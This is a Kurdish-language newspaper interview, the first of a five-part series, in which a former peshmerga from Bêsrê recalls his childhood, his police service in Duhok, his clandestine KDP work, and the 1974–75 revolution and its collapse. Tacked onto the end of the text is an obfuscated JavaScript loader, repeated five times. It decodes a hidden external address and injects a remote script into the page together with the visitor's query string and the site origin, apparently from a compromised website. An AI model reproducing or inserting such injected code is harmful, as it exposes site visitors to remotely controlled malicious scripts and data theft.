نەخوشترین رۆژا دژیانا مندا دەمێ چوویمە دناڤا ئاخا توركیا دا
بێسرێ، سالار محەمەد دۆسكی:
1-5
پێشمەرگەیێ شۆرەشا گولانا پێشكەفتنخواز، عەبدولكەریم رەئووف قاسم بێسری، ل سالا 1956 ل گوندێ بێسرێ ل دەڤەرا دۆسكییا ژ بنەمالەكا كورد پەروەر ژ دایك بوویە، هەر ژ زارۆكینی یا خوە ڤیان و عاشقێ كوردینیێ بوویە، و دكاروانێ ژیانا خوە دا توشی گەلەك دەردەسەری و نەخوشیا دبیت، و هەتا هەوا ئەنفالێن رەش گەلك نەخوشیا دبینت، و ماوەكێ درێژ ل كەمپا دیاربكەر دژیت و سەرهلدانا پیرۆز ڤەدگەریتە كوردستانێ.
عەبدولكەریم رەئووف قاسم بێسری د دیدارەكێ دا ل گەل بەرپەرێ دیرۆك یا رۆژناما ئەڤرۆ گۆت: ل ژیێ شەش سالیێ من هەست ب كوردینیێ دوزا مللەتێ خوە كریە، وی دەمی شۆرەشا ئیلۆنێ دگەرمە گەرما خوە دا بوو، و ل گەل خێزان و دایك و باب و خەلكێ گوندێ خوە هەر دەم مە خوە ژ فرۆك و دربێن دوژمنێ مللەتێ كورد پاراستی یە، وی دەی من هەست پێكر كو مللەتێ مە یێ د قوناغەكا مەزلومیەتێ دا دژیت، ل هەمی ژیێ خوە من نەخواندیە چونكە وی دەمی چ رێك ژ گەلیێ بێسرێ بۆ دهۆكێ نەبوون، و گون مە یێ گرتی بوو ژ هەمی رێكا ڤە و ب ماهولكا رێك بۆ دەوارا دهاتنە چێكرن، هەتا هاتن وچوون دناڤبەرا گوندی و دهۆكێ دا پەیدا دبوو وی دەمی پتریا خەلكێ گوندی زارۆكێن ژ خواندنێ وا دبێ بەهر بوون، وی دەمی گوندێ بێسرێ نێزیكی (17 – 20) مالان بوو، ژیانا گوندا وی دەمی وەك ئێك بوون، ل ژیێ (10) سالیێ جارەكێ هندەك پێشمەرگەیێن هەڤالێ بابێ من هاتنە مالا مە و نامەك دا بابێ من و هندەك پارە كو بچیتە دهۆكێ هندەك پێدڤیێن وا بكریت، وی دەمی بابێ من مرۆڤەكێ ئەمین بوو، هاتنا ئەوان مرۆڤان ب شێوەكێ نهێنی بوو، و من نەزانی هاتینە مالا مە و دەمەكی چوومە مال و ئێكسەر وومە ور دایكا من هات ئەوان پێشمەرگا گوتێ پێلە بلا بهێت، چووم روینشتم، دوڤدا بارەگایەك ل گوندێ مە هاتە ڤەكرن، و چەند پێشمەرگە ل وی بارەگای بوون و خارنا ئەوان پێشمەرگان وەكی هەمی گوندێن كوردستانێ ل سەر خەلكێ گوندی دهاتنە بەلاڤەكرن، ل ژیێ هەڤدە سالیێ دەنگۆباس ل باژێرێ دهۆكێ هەبوو كو ژ دایك بویێن (1955- 1956) وەك پولیس دێ هێنە تۆماركرن، و هەر كەسەكێ بڤێت دشێت خوە تۆمار بكەت، و هەر كەسەكێ بچیتە پولیسیێ دێ پێش لەشكری یا ب زوری ڤە بیت، و برایێ منێ مەزن (عەبدوللا) بوو ل دهۆكێ بوو ئاگەهداركرم ل سەر بابەتی و گۆت ئەگەر بچی دێ لەشكری ل سەر تە رابیت، وی ەم لەكری یا ب ترس و نەخوش بوو، بابێ من رازیبوو ل سەر ڤێ چەندێ و دەسپێكا بەیانا 11ی ئادارێ بوو و دەستهەلاتا پارێزگەهێ هەمی كورد بوون، و ژیان گەلەك یا خوش بوو و مە دەست ب دروستكرنا مامەلێن خوە كر، و هاتینە وەرگرتن وەك پولیس ل دهۆكێ و پشتی (40) رۆژێن راهێنانا ئەم هاتینە بەلاڤەكرن، و هەر هەمان دەم ژلایێ چەند پێشمەرگا ڤە ب شێوەكێ نهێنی دناڤا رێكخستنێن پارتی دا هاتمە رێكخستن، و ناڤێ رێكخراوا مە (شەمال) بوو چونكە ل جهەكێ گەلەك هەستیار بووم و پێشمەرگەی هزر كر، كو دێ مفا ژ شارەزایی و جهێ من هێتە وەرگرتن، و من بەرهەڤی یا خوە دیاركر بۆ هەر كارەكێ ن پێ بیت خزمەتا مللەتێ خوە بكەم، وی دەمی چوونە مالا كومبوون ئەنجامدان، و بیرا من دهێت شەڤەكێ چووینە مالا خالێ من ل تاخێ خەستێ و جارەكێ چووینە مالا (عەبدوللا بیبو) و مالا (صادق) ژی و هەر دەم دگۆتن باشە هەتا كەنگی ئەف زۆلم و تەعدایە دێ سەر مللەتێ مەبیت، و دێ سەر خوە قەبوول كەین، بۆچی و هەتا كەنگی دێ بن دەست بین و بۆچی نابینە ئێك و گەلەك جاران دهاتمە راسپاردن ژلایێ رێكخستنێ ڤە كو سەرەدانا چەیخانێن دهۆكێ بكەم، و گوهداری یا سیخورێن ئەمنێ بكەم، و گەلەك گەریام و هەر چ من دیت با من گەهاندە رێكخستنێن پارتی دیموكراتی كوردستان، وی دەمی پولیس بووم هند دیفچوون ل سر من نەبوو، هێشتا مە سالا خوە تەمام نەكری دەسپێكا سالا 1974ێ ، كاودانێن سیاسی دناڤبەرا حوكمەتا بەعس و سەركردایەتی یا كوردستانێ تێكچوون، وەك هەمی خەلكێ كوردستانێ مە چەكێ شەرەفێ هەلگرت و گەهشتینە شۆرەشێ و پتریا خەلكێ دهۆكێ گەهشتنە شۆرەشێ، و باژێرێ دهۆكێ ڤالە بوو چونكە هەر چار سالێن بەیانا 11ی ئادارێ بۆ خەلكی گەلەك خوش بوون، و خەلكی یا ئەو تەناهی و ئارامی هەر مابا لەوما هەر كەسەكێ شیابا چەكی هەلبگریت بوو پێشمەرگە، وی دەمی كەسێن فاما چوونكە بنگەهێ پولیسان و چەكێ وان راكر و گەهشتنە شۆرەشێ وی دەمی چووینە زاویتە ل گەل (ئەحەد، صاد غلبیشی، قاسم تاهر بێسری) پائیز بوو و پشتی بوو شەف هەتا بوویە سپێدێ، و دوڤدا هەڤالان گۆتن پەیوەندی ب مەهاتیەكرن كو بچینە فرۆكخانا بامەرنێ و مە قەستا بارمەرنێ كر، و مەكومبوون و ئەنجام دا و گۆتن دێ چەك بوو هەوە دێ هێت و پشتی دەمەكی چەك گەهشتە مە و ل سەر مە هاتە بەلاكرن، و دوڤدا هاتینە ڤەگوهاستن بۆ گەلیێ بێسرێ، ل الێن دانستاندنێ رێكا گەلیێ بێسرێ بۆ دهۆكێ ژلایێ (عەبدولرەزاق گەرماڤی) ڤە هاتبوو ڤەكرن، و هندەك ترۆمبێلا هاتن و چوون دكر، پشتی ماوەكی هندەك رەبیێن دی دانە مە ژ كێلیا شەدایێ هێرڤە ماوەكی ماین و نسكۆیا سالا 1975 دروست بووی، وەك تازیەكێ دروست بوو دناڤا خەلكێ كوردستانێ بگشتی دا و دەنگۆباس گەهشت هەر كەسەكێ بڤێت بچیتە باژێری دروستە و برایێ مەیە و یێ بهێـتە ئیرانێ ژی برایێ مەیە و هەر كەسەكێ ئازادە، و خەلكێ مە گەلەك تورە بوون، وی دەمی وەك گەلەك خەلكی هاتمە ناڤ باژێری و من خوە رادەست حوكمەتێ كر، وی دەمی لیوا (11) یا حوكمەتا ئیراقێ ل جهێ سوپر ماركتا مزی یا نوكە بوو.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
